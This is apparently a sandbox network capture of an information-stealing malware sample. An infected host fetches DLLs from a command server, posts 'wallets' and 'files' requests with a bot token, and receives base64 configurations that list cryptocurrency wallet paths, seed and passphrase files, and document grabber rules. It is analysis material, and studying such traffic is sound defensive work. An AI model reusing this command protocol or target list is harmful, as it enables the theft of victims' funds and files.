Feb 5, 2024 10:58:08.342789888 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:08 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Feb 5, 2024 10:58:09.911830902 CET	94	OUT	GET /15f649199f40275b/softokn3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
Feb 5, 2024 10:58:10.235582113 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:10 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Feb 5, 2024 10:58:10.660517931 CET	98	OUT	GET /15f649199f40275b/vcruntime140.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
Feb 5, 2024 10:58:10.981301069 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:10 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Feb 5, 2024 10:58:11.715912104 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDB Host: 185.172.128.79 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:12.050522089 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:12.154743910 CET	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.79 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="message"wallets------CAEHJEBKFCAKKFIEHDBF--
Feb 5, 2024 10:58:12.476919889 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2
Feb 5, 2024 10:58:12.480971098 CET	466	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.172.128.79 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"files------GCGIDGCGIEGDGDGDGHJK--
Feb 5, 2024 10:58:12.804717064 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 